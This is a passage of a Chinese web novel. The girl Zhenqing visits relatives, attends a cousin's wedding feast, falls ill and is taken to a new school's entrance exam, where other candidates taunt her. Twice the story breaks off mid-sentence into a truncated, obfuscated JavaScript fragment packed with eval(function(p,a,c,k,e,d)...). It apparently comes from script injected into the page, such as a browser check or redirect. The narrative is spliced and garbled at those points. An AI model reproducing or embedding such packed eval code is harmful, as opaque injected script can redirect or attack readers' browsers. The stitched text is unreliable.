余奶奶在房间外头,收拾晒在筛子里的干菜,听着里面愁云惨雾散去,欢声笑语回来,也欣慰地笑了。过了一会儿花厅的客人走了,余奶奶把这事讲给姑奶奶听,老太太又把二儿媳叫来,把珍卿说的话讲给她听。 珍卿的二表娘听了,表情也有些复杂,说: “没想到,这个妮儿是心里宽敞的。”姑奶奶对二儿媳,也真是苦口婆心:“原来是为了你表舅,我才担待这个孩子。可现在也是真心疼她。这个孩子看着胡闹,实际是个讲道理的,谁对她好她心里有数着嘞……你表舅管孩子只会打,一点道理讲不出。都说小花脾气硬,可你没看出来,硬的后面还有韧劲儿跟主心骨。 “不管你表舅怎么打她,她不愿意的事儿,就是打死也不愿意。可你看她闹归闹,倒不像她爹那样,跟她爷说翻脸就翻脸。这个妮儿还心里宽敞,不记仇,她爷给她打得那样,你看她啥时候在外头说过她爷的坏话?她家里家外受了委屈,啥时候见她哭天抹泪儿,动不动跟人家怄气?这才叫大家风范,这才是能撑得起门户的。你那昱衡性子面,就该找个这样的媳妇帮他担待着。” 二表娘听着婆婆的话,为难地沉默半晌才说: “娘,你说的我都明白。都以为我嫌小花性子野,怕她欺负昱衡。可我知道小花知书达理,是个好妮儿,好好管教也能管回来。我自己女儿没裹脚,我也不嫌她的大脚片子。娘,唉,我最怕的哪是这些个!小花他娘生了四个孩儿,只活了小花一个,小花从小也病歪歪的。娘,昱衡是我身上掉下的肉,你让我咋想这个事,我要是给我儿子定了小花,我一辈子替他操心,我一辈子咋过呀我……” 姑奶奶也沉默下来,一会儿又跟二儿媳说:“小花今年没生啥病呐,长大啦就好啦。”二表娘默默哭起来,她抽泣着说:“娘,她长大了要是不好嘞?我不能拿我的儿去赌。娘,你不放心小花,叫她认我当干娘,我拿她当亲闺女待,将来我给她陪一份嫁妆,跟若衡一样。” 姑奶奶脸色沉下来,把茶杯往桌上一搁说:“你嚎啥嚎,我还没死嘞!人家看过好些大夫都说了,小花只要好好养,没啥大事,没啥大事。昱衡是我亲孙儿,我能害他?”二表娘默默地抹眼泪,反正是不吭声了。 珍卿不知道,姑奶奶跟二表娘有这样一场艰难的对话。知道了她也没啥说的。姑奶奶是一心为她好,她不能让姑奶奶下不来台。可是二表娘为孩子打算,她又有什么错呢?外头人都道珍卿性子野,名声不好,小时候多病,又一直不裹脚,在二表娘的眼里,她完全不合格,配不上她精心教养的儿子。 所以,珍卿不知道她们婆媳的交锋也是好事。 没多大一会儿就到了晚饭时间,珍卿对杨家的食物更感兴趣。晚饭吃得特别丰盛,除了一道长寿鱼,还有一道很费食材的本地名菜并其余家常菜色,让珍卿一次性大饱了口福。 吃完晚饭后,珍卿把给姑奶奶抄的佛经送到她的房里去。她这些年先后抄了不少经书,比如《般若心经》《金刚经》《妙法莲华经》等,还熟识了些经书。 姑奶奶从姑爷爷过世,就开始吃长斋,拜佛念经。信佛的人认为,佛教经典所在之处,即有佛在。抄经就是在礼拜十方三世一切诸佛,既能弘扬佛法,还能被神佛保佑,遇难成祥,疾病自消。姑奶奶让珍卿从小抄经,就是希望神佛看到她的虔诚,能保佑她消灾解难。珍卿不大信这个,不过姑奶奶是真心为她好,她也就顺了她老人家的意。 把经书送过去以后,珍卿就留在姑奶奶房里,和姑奶奶、余奶奶还有表娘、表姐说话。 姑奶奶很怕珍卿也学得像她祖父一样憨傻不着调,每当珍卿来杨家湾时,总愿意叫她多见人,学学说话和礼数,还给她讲各种人情世故。珍卿知道好歹,对姑奶奶的安排也很配合。 这天晚上,姑奶奶给珍卿讲起当初她爹她姑先后离家出走后,她奶奶的娘家弟弟景有德找了一帮人来杜家庄闹事。珍卿的舅公景有德打到杜太爷门上,说杜太爷气死老婆、逼走儿女,他景家要搬回珍卿奶奶的嫁妆。 姑奶奶握着珍卿的手感慨地回忆着: “你爷啊,年轻的时候是一种不着调,后来也有些悔改,又变成另一样不着调。你奶死了以后,你爸你姑受不了他打骂,先后都跑了。他心里估摸也有点后悔,也觉得对不住你奶。他在景家人面前好像抬不起头似的。你景舅爷来闹了几回,想要回嫁妆,你爷耳根子一软就想松口,说把你奶的嫁妆还给景家也是应当的。——哎呀,真是憨到底的傻老头子。” 珍卿问:“那后来咋没给他?”姑奶奶叹道:“还是我带着你表伯们,还有你向渊堂哥族长那一房的人,轮番地劝说你爷,又敲打你那个舅爷,这事儿才算打消。你舅爷啊名字叫‘有德’,其实他是无德。按理嫁妆是留给儿女的,你爹、你姑跑到外面,也不是他景有德收留照看的,也不是说就死在外头了,凭啥把你奶的嫁妆还给他,真是笑话儿。” 余奶奶把煤油灯拨亮一点,过来跟珍卿说:“小花,你这个舅爷跟你奶一点儿也不亲。你奶奶都十五六岁了。你太姥爷收了个丫头,生的你这个舅爷,他是个丫头养的坏东西……” 珍卿暗笑,在这里说一个人是“丫头养的”,跟说人是“婊、子养的”一样都是很难听的话。 姑奶奶就说:“丫头养的,庶出的,也不是没有好人,但你这个舅爷啊,老来得子,没给他养出好人性来……”接着姑奶奶又说起,这个丫头养的景有德,怎么样地虐待嫡母、欺负嫡姐。都说珍卿的奶奶景氏是她爷气死的,其实也有景有德的罪过在里面。 大家说着话吃着果子,一直说到很晚。珍卿还按往常的习惯,住在姑奶奶的后罩房里,她一个人住还挺宽绰的。 一在杨家安生住下来,珍卿就做好学习计划,每天上午学习三小时,下午学习三小时。其余时间,她就跟若衡表姐疯玩起来了。在杨家的大院子里,她们先玩踢毽子,丫鬟里有踢得好的,也参与进来凑热闹,踢得花样儿可多了。后来毽子玩得无聊,她们还跟余奶奶要了长绳子,让丫鬟或老妈子给她们悠着绳子,她们就一起玩跳绳。 她们玩得高兴之极,把二房的两个男孩子也招引来——杨家大房的若云姐待嫁,大房的男孩儿都在外面求学。倒是二房的昱衡和绍衡,这两个男孩儿放假后回了家,没多久就陪两个女孩儿一起大玩特玩。他们除了在家玩游戏,还时常跑到村子外踏青赏花,看农民在那儿种地种菜之类。 但期间也有一点小风波,她们在家里玩的时候,四表姐杨若兰总说吵了她念书弹琴。说珍卿和若衡两人缺管少教像疯婆子,又口口声声地叫珍卿滚回杜家庄。有时候双方有点言语冲突,那杨若兰还追着珍卿和若衡满场乱打。昱衡表哥维护两个妹妹,这杨若兰是做堂妹的竟敢指着昱衡表哥乱骂。这种事情瞒不住人,没多久闹到姑奶奶那里,姑奶奶把杨若兰跟她娘一起叫过来,当着众人数落半天,说得这娘儿俩几乎要抱头痛哭。 除了这一点小插曲,只要不是太出格,姑奶奶就纵着她们玩乐,平日里吃得也非常好。相比杜家庄,这里的日子别提多快活了。 到若云姐出门子的那天,天气突然冷下来——突如其来的倒春寒,让人们只得重新穿上冬衣。因为是突然来了冷空气,新娘的嫁衣跟轿夫的制服都得换,还要给男方派来人安排在暖和屋子歇脚吃饭。再加上杨家来了好多亲戚朋友,连同村人也来了许多,杨家的男男女女都忙得不行,姑奶奶和表娘、表婶们,都忙着招呼各路女眷,珍卿也在一边陪着姑奶奶。若兰表姐托病没出来,若衡表姐经水来了,也不好到处走动。 天气乍然一冷,姑奶奶有点受不住,临到中午要开席了,她说要回房去躺下来,吩咐大表娘给珍卿找地方吃饭。大表娘忙得简直要疯,急慌慌给珍卿找了个席面。然后指着一桌人对珍卿说,这都是同村的大婶大娘,叫她不用害怕,先给肚子混饱就行,晚上再安生吃一顿。 又跟那些同村的大婶大娘说,这是我们家的表小姐,劳各位多照应照应。这些朴实的大婶大娘乐呵呵地答应了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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左边的那位瘦大妈也让珍卿快点吃,然后拿她刚刚特意舔干净的筷子,把珍卿碗尖上的一块肉拨拉了两下。这位大妈,我想请教你一下,你把我碗里的这片肉,翻过来又翻回去,到底是个啥意思,你是不是看上它啦? 珍卿忽然灵机一动,连忙跟众人腼腆地笑道:“我从小肚腹不好,不敢多吃凉菜,大家吃吧,我吃不了这么多。” 说着不等众人响应,连忙把碗里的菜给大家分去许多,大家是不会嫌弃她的——这个年代,很多人一年也吃不上一回肉,很珍惜肉食的。 珍卿怕别人说她架子大,以后再传得名声更坏,她好歹留了些凉菜,尽量忽视大家的口水勉强吃了几筷子。 终于等到热菜上来了,为免大家又把她的碗堆得像小山,珍卿反客为主地端着汤碗站起来,跟大家举杯很敞亮地说:“各位奶奶、大婶、大姐,今天是我表姐的好日子,我以汤代酒,敬大家一杯。感谢大家在百忙之中,来给我大表伯、大表娘和我表姐捧场,感谢大家对表姐和表姐夫的祝福。我年纪小,先干为敬,大家随意。” 农村妇女没见过这样的,多少有点手足无措。不过她们都很给珍卿面子,手里有汤的都端起来喝了。有人就没口子地夸珍卿说:“真是财主家的小姐,恁会说话,恁会做人,说的这个词儿,俺们学都学不来,表小姐,你认得字啊?” 珍卿一边答着她们的话,一边反客为主地给她们夹菜。 对面房子里正在陪客的三表叔,看见珍卿这一出,好笑地不行,给身边他二哥指着:“你看这小丫头,一点儿不怯场。” 珍卿她二表伯看见了,也笑着说:“真是歹竹出好笋,表舅那么不会交往人,小花这个妮儿到哪儿都挺自在,都能吃得开。唉,俺娘想让昱衡娶小花,你二嫂死活不愿意。她说收了当个干女儿也行。我看咋样都行,妮儿是个好妮儿。” 三表叔笑眯眯地看对面,珍卿摆开主人的架势,总给别人夹菜,她自己倒没吃几口。 三表叔好笑地回过头,跟他二哥说:“表舅让我帮着小花寻摸个好学校,教育家梁士茵上个月回县筹办学校,说要办一个联合学校,把小学校和初等中学放一起办。今天回市里的时候,我从县里过再帮着打听一下,看那学校筹备得咋样了。” 二表伯惊叹地说:“梁士茵可是大名鼎鼎的人物,去年我去楚州办货,到处听人说他的事。他是什么教育博士,他在楚州办学,那些当官的克扣教育经费,干涉他招生和聘人,他一气之下离了楚州。没想到跑咱们禹州来了。小花去念他的学校,我看不坏。” 三表叔也说:“小花是个念书的材料,我看可以让她去考,她在乡里难找合意的亲事,不如多读几年书,找个儒雅士绅之家……”二表伯大口吃肉,很捧场地附和着弟弟。 那边席上的珍卿,见众人已沉浸在美味中,没兴趣给她夹菜了。她才小心坐下来,吃了几筷子热菜,喝了两口热萝卜汤,总算是喘过气来了。珍卿又舀了一碗汤,正准备再两三口干了。 她右边的胖大妈,忽然一个巨大的喷嚏,冲着整个席面打上去。胖大妈的手还按在桌子上,弄得整个一张桌子,那是一个地动山摇。这一桌子菜肴,吸收了胖大妈的唾沫腥子,珍卿觉得有点不能直视了。现在她已经不打算吃了。 8. 寒风日进县赶考 若云表姐出嫁这天,珍卿吃了一会席,赶紧找个由头从席上脱身。回到后院先去看望姑奶奶,正巧在这里遇到三表叔。三表叔跟她说学校已经有眉目,叫她别太操心,在家里安心等着,一旦那学校开始招生,他立马写信通知她祖父。 若云表姐的婚礼杜太爷并没有来。虽然不晓得他为啥没来,但都知道他这人不讲礼数,也没人挑他的理。 三表叔还跟珍卿说,他在市里看到一本画册,买了放在永陵市的家里,这次参加婚礼回来得急,下次再给她带回来。三表叔没在杨家湾家里多待,下午又匆忙赶回永陵市去了。 珍卿这天午后跟三表叔分别后,到后罩房烤了一会火,觉得有点不大舒服,好像有点冻着了。她就脱了衣裳上床睡觉。 珍卿午睡到很晚才醒来,人就感觉有点怏怏的,晚上饭也吃得少。吃完饭没多久早早就睡下了。姑奶奶看着不对劲,叫余奶奶晚上经心照看。果不其然,珍卿睡到后半夜就开始上吐下泻,别提多难受了。姑奶奶着实不放心,叫用人去敲村里大夫的门,把大夫给请来了。大夫来说是凉了胃,她脾胃弱吃药反而不好,就给表小姐喝点大烟果子酒,明天再看怎么样。 珍卿就喝了两口大烟果子酒,那带着药味儿的酒液一路灼烧到胃里,余奶奶一直给她揉肚子,好歹把她揉睡着了。到第二天珍卿感觉好多了,但是实在没什么胃口,只好喝一些粥水。 外面天气愈发冷了,余奶奶说今年的倒春寒怪厉害的,像是要下雪了。 珍卿这一年没怎么生病,这回猛一生病就额外地难受。直到第三天她胃口才回来一些。姑奶奶这时免不了骂大表娘,说不该给小花安排在风口里吃饭,好好地叫孩子凉了胃,来做客白白地受一场罪。 珍卿赶忙劝说姑奶奶,说主要是她吃了凉菜的缘故,要说吹风没有哪一席不吹风的。她自然不能叫姑奶奶把大表娘骂得太狠。那天可是大表娘嫁女儿啊,她忙得自己都顾不上,有什么好责怪的。 其实珍卿自己觉得,除了吹寒风、吃凉菜还有不卫生的缘故,更还有不小的心理作用——她心里老觉得不干净。 第三天中午珍卿正在吃饭,忽然外面有人说舅太爷来了——这说的就是珍卿祖父杜太爷了。 杜太爷突然过来,珍卿倒也不觉得惊讶,她到杨家湾也有七八天了,她祖父也该坐不住了。 但出乎意料的是,祖父不是单为接她回去,而是她的学堂有眉目了。 原来杜族长家的二儿子,帮忙打听到一所很好的学校,是大教育家梁士茵发起的。这个学校表姑奶奶家的三表叔也觉得非常好,同时给杜太爷送了信,叫她准时带珍卿去考试。 杜太爷一看,一个很有学问的重孙,一个很有本事的外甥,都称赞这个学堂好,说这个叫梁士茵的很厉害。那这个学堂和和这学堂管事儿的,那必定是很好的了。 杜太爷说考试就在明天,今天必须带珍卿到县城。姑奶奶很不放心,说小花正病着呢,这样一路马车颠簸,再加上吹冷风,别把孩子折腾坏了。 杜太爷却很固执很坚持。族学里九先生的伤一直没好,他不想珍卿在家闲着,铁了心要带她去县里考试。 姑奶奶这个人是很彪悍的,她当着小辈们揪着杜太爷打,骂他是个“死砍头的老东西”,一点儿没有人味儿,非把小花折腾坏了才高兴。眼见这么大岁数的两人掐起来,珍卿连忙去救火,说她自己愿意去考,盼着能上学盼了几年,她不想错过这个机会。这才结束了这场揪斗。 姑奶奶说要收拾点衣裳,杜太爷着急忙慌地说,还要赶着去报名嘞,再不能瞎耽搁了。马车在路上走得很快,杜太爷嘱咐珍卿:“那个叫梁士茵的,说是美什么国回来的博士,是个很有名声的人。他请的先生,都是很能干的先生,你一定要好好考,给我争气。” 这老头儿,也不问问她是不是不舒服,就着“好好考”“争气露脸”的话。 路上北风刮得厉害,马车又颠簸又露风,珍卿在半道上又吐了两回,把衣裳也给吐脏,别提多难受了。 珍卿琢磨了一会儿,还是问杜太爷:“学校是初等小学校,还是高等小学校?是所有人用一套考试题?还是分成几个等级的考试题?祖父,考几个科目,你打听明白了吗?” 杜太爷哪懂这个,听的是一头雾水,他从怀里掏出两大张纸,展开了递给珍卿: “这是玉琮二叔,还有你三表叔从学堂弄来的,什么个招生的章程,你自家看看。” 珍卿看两张招生简章是一样的,是一个叫启明学校的招生简章,内容是这样写的: 睢县启明学校(附设男女初等小学校,男女高等小学校,男女初级中学)办学宗旨,以留意少年儿童身心发育,施以男女学生工作生活适用之知识技能,并授以真正之道德基础,育成他日国家梁栋及贤妻良母。 学科分设按教育部章程,本校加开外文、绘画、工业专科,另有简章详述。 入学资格:身家清白,人品端方,身体健全,有志求学,招生考试合格者。 学龄分类:初等小学校七至十二岁,高等小学校十二岁至十五岁,初级中学十五至十八岁。 缴纳费用:初等小学生,学费每期一元;高等小学生,学费每期一元五角;初级中学生,学费每期两元;外文、绘画、工业专科,另外收费。膳费:均每月三元。 可供外地学生住堂:初等小学生每期住堂费:五元。高等小学生和初级中学生住堂费:六元。 校址:睢县北门内汉阳桥南愚仁巷内。睢县与灵州、夏阳、南郑学子皆可报考,自四月三日至四月十三日皆可报名,考试日期为四月十四日。 过时不候,敬望悉知。 睢县启明学校启 珍卿看完之后算了一下,公历的四月十四,正好就在阴历的三月十一,正好就是明天了。 她长长地吁了一口气,赶倒是勉强赶得及,问题是杜太爷怎么到今天才匆匆地过来接她? 她就问杜太爷:“祖父,玉琮二叔和三表叔,啥时候给的招生简章,你咋才来接我?” 杜太爷尴尬地咳了两声,想想这事儿咋解释,可终究只恼怒地喝一声:“你瞎问啥子,别人帮你打听学校,难不成还欠你的,你有啥好问的!” 珍卿就不吭声了,玉琮二叔和三表叔自然尽了亲戚的义务,要好生感谢一番。可这杜太爷,怎么一副心虚气盛的样子?算了,身体正不舒服就不想它了,还是想一想考试的事情吧。 杜太爷看她不追问,暗暗地松了一口气。他可不会告诉她,他把上面的阳历时间,错当成是阴历时间,他想四月份才考试,时间还远着呢。又因今年倒春寒太厉害,他操心刚种上的那茬儿庄稼,就没多在意那学校的啥简章。 直到今天一早,杜太爷从地里回来,他那个当族长的侄孙儿问他明天就要考试,怎么还不把珍卿接回来。两下里一沟通,杜太爷才晓得差点坏了大事。他们乡下人种庄稼都要看节气,一惯过的阴历日子,哪会想到那什么简章上用的是阳历? 这一会儿的杜太爷生怕还漏掉啥关键信息,让珍卿再把招生简章念几遍,间或问珍卿这句话啥意思那句话啥意思。 杜太爷从前也念过书,可是他脑子笨,小时候学的那些字,稍微生僻一点的,在世上混了五十多年,都混得不大认得了。如今他眼睛也不大好,又不爱戴那累赘的老花镜子,连看信都时常叫大田叔给他念。 珍卿给杜太爷念完之后,她自己心里也有章程了。总的来说,这个启明学校跟后世对比来看的话,包括小学和初中两部分。看起来,是把后世的义务教育年段都包含了进来。据珍卿有限的学制知识,初等小学大概相等于后世的小学一至四年级,高等小学相等于后世的五至六年级。 只是不知道,它这个年级划分是否也跟后世一样,小学一共学六年?这学校好像也不是义务教育,因为它是收学费的。但学费比膳费、住堂费低得多,好像就是象征性地收了一下。住堂就是寄宿的意思,寄宿生收得费用就很高了,非有钱人恐怕寄宿不起。 至于招生简章中所谓的外文、绘画、工业专科,想必就是学习一些专业的技能,大概学完就可以直接进入社会,也许类似于后世的中专吧。当然,她也不太了解,只是瞎猜罢了。 到了县城里面,大田叔早在那里等着了。珍卿问是不是先去报名,大田叔说他去过启明学校,已经给她报名了。 他们家在县城有三个铺子,都是珍卿奶奶的嫁妆,铺子里的房产说来也算是珍卿家的。杜太爷就带着珍卿,在离考试地最近的粮店里歇下。 珍卿颠簸了一路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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之前从杨家湾走得急,珍卿现在面临着没有干净衣服替换的窘境。没办法,只得还是麻烦林掌柜的老婆,找到她闺女的旧棉袄棉裤穿,先对付着穿一下子。这借来的一套棉袄,虽说半新不旧的,但是胜在厚实,倒也还挺暖和的。珍卿不用臭烘烘地去参加考试了。 杜太爷知道珍卿吃不进别的,一大早上起来特意叫粮店的厨娘,给她熬了三份清淡的粥,是大田叔亲自盯着厨娘熬的。 早饭的桌子上,杜太爷自己不忙吃饭,他坐在旁边不错眼地盯着珍卿吃,他说考试要下气力的,好歹要多吃一些。珍卿胃口不好,吃得很勉强。 看她吃得那么艰难,杜太爷那个急啊,简直像热锅上蚂蚁,说叫珍卿别细嚼,闭上眼硬往下咽。好说歹说的,杜太爷见她还是慢吞吞,十分厌饭的样子,恨不得拿起饭碗,往她嘴里灌饭。这老头子絮絮叨叨,那个熬粥的厨娘也在一旁凑话,可快把珍卿烦死了。 吃完饭,大田叔亲自赶马车,平平稳稳地走着,往汉阳桥愚仁巷去。还没走到巷子里面,就在外面的街道上,就看见到处挤满了马车轿子,下面车夫轿夫站了一地。 杜太爷拉开马车帘子,指着外头跟珍卿说:“咱们那粮店林掌柜的闺女,也要考这个学校。妮儿,你要给你祖父好好考,别连掌柜的丫头也考不过。” 珍卿看着前面不远处,粮店林掌柜拉着个穿绣花棉旗袍的丫头。她隐约记得,林掌柜只有一个闺女,叫林小霜。珍卿有气无力地应下了祖父的话。她早上勉强吃了两碗粥,坐了这一会儿马车,感觉那吃进去的粥在肚子里造反似的,转来转去的不肃静。 她看这里车如流水,这么多中上等的人家都送孩子来应考,再联想三表叔和玉琮二叔都极力推荐这启明学校,想必是非常好的学校。那当然要好好考。 巷子口里早已经堵住,马车根本赶不进去。杜太爷就带珍卿下车,往巷子里一拐硬朝里面挤,这一条街都堵得水泻不通,考生和家长们都站满了,简直比过年的庙会还热闹。 而杜太爷一看这场面,比珍卿这考生还紧张,脸皮抖抖索索地傻看了一会儿,嘴巴嗫嚅半天最后交代珍卿:“妮儿,好好考,要考好。”珍卿点了一点头,没什么精神说话。 然后,杜太爷没有往里挤,由大田叔护着珍卿一路过关斩将,一直挨挤到了大门边上。 到了那学校的大门前,有校工主持着叫考生们排起队,依着先后次序进去。 9. 病中考试多风波 这一天珍卿来到启明学校,准备进去参加招生考试,便随着人流先到台阶下面排队。她见这启明学校的大门外,有五层的石砌台阶,大门漆成了大红色,还挺气派的。 校门外有些工作人员,就站在外面接待学生和维持秩序。有的人员在核对学生身份,其实就是拿着报名时填的信息,大致地问一下子,确定年龄、性别、籍贯等基本信息。身份核对好了以后,就有人领着考生进去,家长下人一律不许进,只能在外面等候。 珍卿排着队等了一会儿,很顺利地验明正身,被一个姓周的女先生领进去。 这个周姓女先生高高瘦瘦,穿着一身水红色的洋服,还穿着白色的玛丽珍皮鞋,看人的神情是一种睥睨式,很高傲的感觉。珍卿跟另外三个女孩儿,就跟在这周先生后面向校内走。这学校看起来挺大的,新式旧式的建筑都有。考试的地方倒没有走多远,进校门后走过了前面的一栋楼房, 这位周先生把她们带到一栋三层楼前,领她们上台阶进了一楼南边的一间屋子——这就是考场了。 这楼房的窗洞子很深,是那种圆顶式的样子,显然是很洋化的风格。一行人刚走进考场里面,领路的周先生随意指了考室一圈,跟珍卿她们三人说:“自己找个座位坐下。” 珍卿有气无力地应下,准备寻个靠后的座位。忽见粮店掌柜的闺女林小霜,也在这一间考室的中间坐着。 珍卿想这两天给她爹娘添了麻烦,而且她身上穿的还是林小霜的棉袄棉裤呢。她向后走的时候,顺势扯开嘴角跟林小霜招手:“小霜,没想到咱俩在一个考场。” 林小霜反应却很冷淡,打量了一下珍卿,蓦然扭过脸,好像不屑跟她说话似的。林小霜身旁一个穿着锦缎皮袄、还戴着金押发的小姑娘,凑过来问林小霜:“小霜,她咋穿你的旧棉袄,是你亲戚?” 林小霜顿了一下,瞪了珍卿一眼,不高兴地跟那女孩儿答:“反正我不要的东西,管她穿不穿。”那个女孩儿也打量珍卿一圈,撇撇嘴不在乎地说:“乡下来的穷亲戚,来打秋风的?那咋也来考学,交得起学费吗她?” 林小霜扭头,跟那个女孩儿说:“理她干啥。”然后就夸起那姑娘的金押发,完全不搭理珍卿了。 珍卿竟这样被晾在当地,屋里的其他考生要么瞧不上她这乡下人,要么对她没啥兴趣。她一则比常人瘦,二则穿着人家的旧衣,可不就被人看扁了。 虽不知道为啥这林小霜这么对她。但珍卿也犯不着受了一点冷落,就在考场里跟人大吵大闹的,窗户外面有两个老师正在走动着,不时看向考室好像防着考生闹事情。珍卿这会觉得肚子里面特别不肃静,身上也似一阵冷一阵热似的,她向考室里逡巡一圈,走到后面找了个座位坐下。 这林小霜肯定是不对劲的,不过现在不是跟她怄气探究竟的时候。她现在身上的难受劲难以形容,勉强想点别的事转移注意力。 珍卿见考室里的考生一溜儿的全是女孩儿,年龄大小也不一。这些大小女孩儿不少人没把考场当一回事。有的女孩子在那热火朝天地讨论衣裳、首饰,有的年纪小活泼些的则跑进跑出地喝着玩。还有的胆小怕生的,还闹着说要回家呢。只有一些文静稳重的,老老实实地坐着。这种情形倒也可以理解。这个时候国民教育还没有普及,女孩子们都接受的家庭教育或是私塾教育。学校里的规矩她们未必习惯,可能还当这里是在私塾或者是在家里。 之前领珍卿她们进来的周先生又进来,面容严酷地猛拍桌子:“现在所在人在座位上坐好,再敢吵闹乱走就取消考试资格。”多数了都安生坐了下来,还有少数的刺头不听训教,不过珍卿也顾不上别的事。 她越来越觉得不得劲儿,忽然屁股后面一紧,一股强烈的热流涌来,她感到上厕所的必要。她连忙背起包往考室门外面走,看着正守在门口的周先生,珍卿连忙上去问:“周先生,请问茅房在哪里?” 珍卿因为事出急迫,下意识挨了一下人家的衣袖,那周先生嫌恶的神情一闪而逝,避开了珍卿的手说一声“你跟我来”。 走到考室外面,周先生随手招来一个老妈子,就让那老妈子领珍卿方便去。老妈子领着珍卿到了放马桶的屋子,珍卿也顾不得嫌脏,赶紧掀开马桶盖,解裤子坐到马桶上方便。一会儿,珍卿舒爽又难受地吁气,这病生的真不是时候。她想待会儿开始考试,来来回回地跑茅房恐怕让人印象不好。 她干脆在马桶上多坐一会儿,把肚子存不住的东西都倾泻出来算了。可坐久了她心里也有点嘀咕。民国十几年,这小县城里根本没有公共厕所。像这种需要公共厕所的地方,也不过辟出房间来放几个马桶罢了。这些马桶还不知道是啥人用过的,她坐在上面心里总是有点忧心的。 这个年代可是很多流行病,传染了那是能要人命的。感觉再也拉不出了,珍卿出了马桶房,特地在室外溜达一阵,散散身上的气味才往考室那里走回去。 谁知一走进考室里,路过林小霜身边,就见她特意掩住口鼻,别过脸去,眉头皱成一团。 她旁边戴金押发的女孩儿,也动了动鼻翼,嫌恶地大声问珍卿:“怎么这么臭,你是不是掉茅坑里了。”珍卿拉得有点虚软,一时间反应倒是钝了一下。 除了林小霜和那小女孩儿,从外面跑进来一个穿着桃红锦袄的女孩儿,也挡在珍卿面前嚷起来:“就是就是,熏得人都要吐,咋考试嘛,叫先生来给她拉出去。” 珍卿身体不适脾气也上了面,直接狠推开眼前桃红锦袄的女孩儿,冷冷地看着坐着的林小霜说道:“看来你爹是不想当东升粮店的掌柜了,你爹不做掌柜你也别想上学了?你父母再疼你,还是紧着你弟弟这个男娃儿!你给我小心做人,晓得啵?”林小霜闻言登时脸色大变,恶狠狠盯着珍卿却不敢做声,她身边那戴金押发的女孩子,闻言疑惑地看了林小霜一下。不过珍卿正在身体不适声音不大,说了这几句就气力不继了,考室里又嘤嘤嗡嗡地闹腾,恐怕其他人未必听清了珍卿的话,不过眼前的林小霜一准是听清了,希望她识相点别再闹什么幺蛾子。 而那个穿着桃红锦袄的女孩子,拦着珍卿就是不让她到后面座位,老说她身上熏人不许她待在这里,珍卿忽然扭身向考室门口看去,这女孩子也下意识也看去,珍卿轻巧地推她一把就越过这拦路虎。 珍卿刚刚在座位上坐定时,就见走廊一道人影掠过,这时候,一个面相温婉、态度和蔼的女先生拿着一沓试卷走进来,叫桃红锦袄女孩儿赶紧找座位坐下。这女孩儿像是见过世面的,一点儿不怯场地指一指珍卿说:“先生,她掉进茅坑里,身上臭烘烘的,熏得人没法考试,先生,你把她赶出去嘛。” 这个看起来很和气的女先生,看着趾高气扬大放厥词的女孩儿,再看着脸色惨白正在默默垂泪的珍卿,表情顿时严肃起来。就在桃红锦袄和其他小孩儿以为,这位先生会把臭轰轰的珍卿赶出去,就坐着安心看起热闹了。 谁知那女先生走到珍卿身前,很关切地问她:“小妮儿,你没事吧?” 珍卿看她神情关切,语气温和,对她印象挺好,连忙抹抹眼泪点头说:“先生,我就是闹肚子,没掉茅坑里。”孱弱的语声中有三分委屈、七分坚强,真仿佛是一躲经风沐雨的梨花骨朵。谁是谁非凭这强弱之势也能断出一二了。 确定珍卿没事,这女先生没有多说,就抱着试题卷走到讲桌上。示意桃红锦袄立刻找座位坐下,考试马上就要开始了,桃红锦袄拧着眉头勉强地坐了。其他考生这时候也都安静下来,那女先生回到讲桌前,敲了敲讲桌子冲考生高声说道: “各位考生,欢迎来参加本校的招生考试。我是你们的监考,名叫梅历雪,你们可以 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梅先生跟这位卢教务长沟通了一下,那位卢教务长走到讲桌之上严厉地说:“这位考生不遵守考场纪律,扰乱考场秩序,屡教不改,本教务长决定,现在取消其考试资格,驱出考场,请其他考生引以为戒,勿要再违犯。” 这不,卢教务长刚宣布决定,两个老妈子进来把那穿桃红锦袄的女孩往拖外。那女孩儿这时感到极其不可置信,大力地挣扎着高声地叫嚷:“你们放开我,敢碰我一根指头,没你们的好果子吃,我娘饶不了你们……知道我们是什么人家嘛?我伯父是督军府的参事,我外公给大总统当差,你们敢这么对我,还办什么学,等着关张吧……” 但是不管她怎么嚷,卢教务长和梅先生都不理会她,这女孩子终究被拖出了教室。刚从表演情绪中出戏的珍卿,对着此情此景看得惊讶不已。看那女孩儿的穿戴结合她的言行,必定是家里有些底气的。不然也不会在考场这么没规矩。 这位卢教务长说赶出去就赶出去,连那位监考梅先生也是理所当然的态度,感觉这学校好牛好硬气啊。珍卿再看其他考生,大家神情态度都变了。果然杀了一只鸡,猴子们也晓得厉害了,考生们变得老实了,没人敢再扰乱考场了。 创办这所学校的梁士茵先生,要么真的刚正不阿不屑权贵,要么就是大有来头靠山很强。想到这里,珍卿更觉得这学校值得好好考了。 这个小插曲就这样过去了。梅先生重申考试纪律,讲明考试时间是两个半钟头,对考生的答题和卷面有哪些要求等。等听到当当当的敲铃声,梅先生开始发放试题卷,考试就算正式开始了。 没多一会儿,之前领珍卿进来的高瘦周先生,也加入了本考室的监考行列。 卷子一共发了四大张,珍卿先翻了一遍题目,发现基本上是偏重国学的,后面有少量的算术题。 国学的题目基本摘自三、百、千,还有耳熟能详的诗歌和“四书五经”上的内容。题目的形式大部分是提示性的填空题,类似于后世语文里提示性的诗文默写。大部分的题目要求考生把空缺的文句补充完整,少量的叫解释文句意思,后面还叫写一篇作文。 珍卿做这些填空题很小心,不敢写错字、漏字或添字。因为她听匡先生说过,旧时候科举考试,这种题错了一丁点儿,整个句子就算全错的。估计这种招生考试也差不多。 